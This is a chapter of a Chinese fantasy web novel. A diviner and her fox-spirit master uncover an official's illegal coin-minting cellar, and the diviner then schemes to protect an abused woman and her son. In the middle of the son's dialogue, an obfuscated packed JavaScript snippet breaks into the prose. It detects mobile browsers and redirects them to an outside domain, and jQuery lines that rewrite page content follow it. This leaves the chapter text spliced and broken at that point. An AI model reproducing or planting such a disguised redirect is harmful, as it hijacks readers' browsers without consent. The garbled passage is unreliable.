郑祈的金子并没有任何刻过的标志,但是因为常年存放在地下室,沾染了一些潮湿和尘味,所以对于小狐狸来说还是很好找的。
崔决两指并拢后在谢知绯的眼上轻轻一扫,谢知绯一下子感觉自己的眼睛开了夜间模式,看地下室并不觉黑,反而觉得一切都很清楚。
有个小箱子开着口,里面是一些散碎的金子,更大的箱子被掀开后,夜间也金灿灿的金砖显现出来。
“师尊,你说郑祈是靠什么赚这么多金子的啊?”她能不能转行靠自己的不死之身多赚点钱躺平啊,谢知绯偷偷想。
崔决没有回答,凭借灵敏的嗅觉又打开了几个不一样的箱子。
谢知绯靠近一看,皱起眉:“这不是这个朝代的货币吧?”
之前卜卦她也见过这个朝代的货币,圆形方孔,跟这个箱子里刀型、铲型的货币完全不同,按说这些应该算是“过期”了,郑祈收藏这个干什么?按照时间推算,这些东西可算不上有价值的古董。
崔决点点头。
谢知绯看到箱子堆积的尽头还有个小门,抱着狐狸往前走了几步。
“师尊,这里还有个隐藏的地方。”
崔决右手捏着谢知绯的脖颈穿门而过,锁也没开,谢知绯惊呼了一声,然后眼神重新聚焦到眼前的东西上。
“这是......”谢知绯看了眼石板的模具,确定了答案。“他造□□啊?”
虽说对于谢知绯来说,□□只是小时候的记忆了,但是看到这些设备她还是第一时间反应过来了郑祈回收旧钱币的用途——熔了重新铸。
不过按照这个体量,要达到外面的那个黄金数量的程度,应该远远不够,不,郑祈根本不会在这个鸟不拉屎的地方放自己全部的资产,他手里的东西一定更多。也就是说,他很有可能私铸钱币很久了,或许除了旧币之外还有自己的矿场也说不定。
谢知绯放下狐狸,迅速打开“神息”,查找关于私铸钱币的法条。
《秦律》规定:“盗铸者,左趾,没入为奴。”(1)
其实也可以理解,不论在什么朝代,私自铸造货币都是重罪,不仅是砍左脚的事,株连亲属也是可能的。
“师尊,这个可是大罪啊!他可真是个国之蛀虫!”谢知绯一边看一边感慨,小狐狸乖乖盘起尾巴坐在脚下仰头看着她。
这可真是瞌睡了就有人送枕头,谢知绯接着补充问:“你说田老三要是牵扯其中,我算不算违规操作啊?”
毕竟他的罪名其实并不是这个。
崔决认真想了一下,他虽然没有做过,但是听起来似乎是合理的,只是有一个问题需要确定。
“如果他确实参与其中,那便不算违规。”他沉吟着开口。
“我懂!不能诬陷好人,但是如果他确实也因为贪心等原因参与其中,那便是自寻死路怨不得旁人。”她点点头补充,“除此之外,其实我昨天托梦之后也在想,他那么胆小的人,会不会吓了一跳就改过自新了呢?会不会暗红线也如此断掉呢?”
如果是这样的话,其实也不用后续这么麻烦了。
崔决又没有回答这个问题,只是无语的眼神透过浮光锦又看向了她,仿佛在质问她:你觉得可能吗?
谢知绯嘿嘿一笑:“万一呢?”
地下室中不知时辰,谢知绯今天还要接着去卜卦收集信息,以及去看看田老三是否有改正,所以也准备离开从长计议,临走的时候手不自觉又摩挲在了大块的黄金之上。
她看着崔决的背影,小狐狸仰头看着她。
“偷偷拿一块应该也不算啥吧?反正都是赃款!”她默默想。
只是还没拿起金子,崔决就跟背后长了眼睛一样停住了脚步。“放下,不可起这种念头。”
她撅撅嘴,想着还好没有没收小狐狸偷偷拿给她的金子。哼,不让拿就不拿,她傲娇地抬脚走在了崔决的前头。小狐狸跟着啪嗒啪嗒跑在后面生怕被落下。
趁着隐身的神力还没消散,她先去了趟田老三家附近,还没进“里”社区,先在门口看见了脸上还带着新伤的小男孩。
女人的惨叫声不断传来,夹杂着男人的怒骂声:“说!你是不是告状了!还敢求神!老子今天打到你见真神!”
谢知绯停住了脚步,她气得整个人都在抖,怀中的小狐狸颤颤地瞪着圆溜溜的眼睛看着她。
她有种冲动,想利用法术把这个狗男人拖出来打一顿,管他三七二十一,有什么惩罚她就受着,反正先把眼下的事情解决了再说。
这么想着,她的右手已经开始聚灵气了。
崔决感应到了她的想法,伸手拦住了她。
“解决了一次,下次呢?”他问。
“下次再说下次的事!”谢知绯手上动作没停。
虽然做律师之后,她看起来比起以前还是要冷静和理智不少,但是更多的还是因为没有接触这样的场景,更遑论她现在觉得自己不受这些法律的挟制,难免就想冲动一些。以前不能逞英雄是因为没能力,现在有了能力就想立刻用起来。
崔决施了个法止住了谢知绯的灵力。
小狐狸也落在了地上,乖乖蹲着观察两个人。
“你现在过去,或许能短暂缓解这个情况,但是,你走之后呢?”崔决遇见过无数次这样的情况,他太了解这些人的劣根性,“你能保证他不会因为怀恨在心加倍报复在陶静身上吗?”
谢知绯一下子回过神来。
虽然她也不再需要呼吸,仍是大口喘息着试图平复自己的内心。看着蹲在一旁看蚂蚁的小孩,她忽然想到一个办法可以暂缓这个情况。
她示意崔决给她和狐狸解除隐身,然后抱起狐狸朝小男孩走去。
“乖孩子,我们又见面了。你叫什么名字?”她温和地冲小男孩笑。
小男孩的神情有些木讷,其实以前的谢知绯或许会怪罪小男孩不拦在妈妈面前,不伸出小小的拳头对抗父亲,现在不会了,各中苦楚只有身在其中的人才能明白,他也已经够苦了。
“姐姐,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552227|171277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的眼神有短暂的星芒闪过,很快又消失“我叫田戈。”
田哥?还怪会占人便宜的。
“姐姐这里有一件事情需要你帮忙,”她从怀中掏出一些钱币,“你拿着这些钱,告诉你父亲,你在郊区西南方向的密林中发现了钱币,听人说好像还有金子。”
田戈拿着钱币,脸上满是迷茫。
“你能答应姐姐好好把事情做好吗?不要告诉你父亲姐姐来过。”她再次强调。
“姐姐你救了狐狸,你是好人,我相信你。”他点点头,眼神坚毅。
谢知绯怜爱地摸摸他的头。
田戈走后,谢知绯马不停蹄赶去了郑祈府上,她并未见郑祈,而是通过官奴转达了一句话。
“你告诉他,日者算出他西南方财产或有被人发现的可能,若有残疾者最近路过,聘为守门人,或可破解一二。”想了想又补充道,“他交代的事,告诉他我已准备好,等他安排便可进宫。”
崔决始终在她身后,并未发一言。
谢知绯对平时不重要的事总喜欢一拖再拖,但是真正下定了决心要做的事就会飞快进行,恨不能一口气把事情做完。
这一盘棋其实并不难,只要厘清关系,想办法让人入局,仅凭最后一子便可大获全胜。
而这最后一子,便是陶静。
崔决看明白了她的布局,但是仍有疑虑。“这其中,但凡有一个关节出现问题,便是死局。”
她也想过这个问题,但是最差的结果不过是暗红线暂时未能解开,不至于牵扯陶静的性命。
“赌一把。”她一边摸着狐狸毛一边思考着下一步,“我的赌运一向不错。”
第一个赌局,赌的是田戈的本性。
作为小孩子,田戈或许会惧怕大人而说出真相。
谢知绯在市中一边给人卜卦一边观察着是否有田老三的身影,顺便交代了崔决帮她一起盯着。
终于在算到第五个人的时候,她看到了田老三匆匆忙忙朝郊区方向赶去的背影。
第一子落。
第二场赌局,赌的是郑祈已经对她有所信任,就算想灭口,也并不打算在她面圣之前下手。
谢知绯一心二用算着卦看着时辰,测算了一下。
这会儿郑祈约莫已经收到消息了。
“日者,日者!”前来卜算的人又喊了她两声。
谢知绯回过神来,略微闭眼看了一眼红线,“就今年的事了,别着急。”
“您说什么呢?我问的是前程啊。”路人似有不解。
她大概看了眼天光时辰,酉时,起卦时见两只野猫打架,“主卦为风山渐,初期可能遇到压力受阻,只要稳步,未来终能化解。”(2)
路人千恩万谢走了。
“卦象你没解释完整。”崔决在一旁闭着眼说道。
“问前程嘛,主要就是要给人信心,说那么详细不好。”谢知绯摇头晃脑地说自己的歪理。
小狐狸歪着头在谢知绯腿上安稳地睡着了。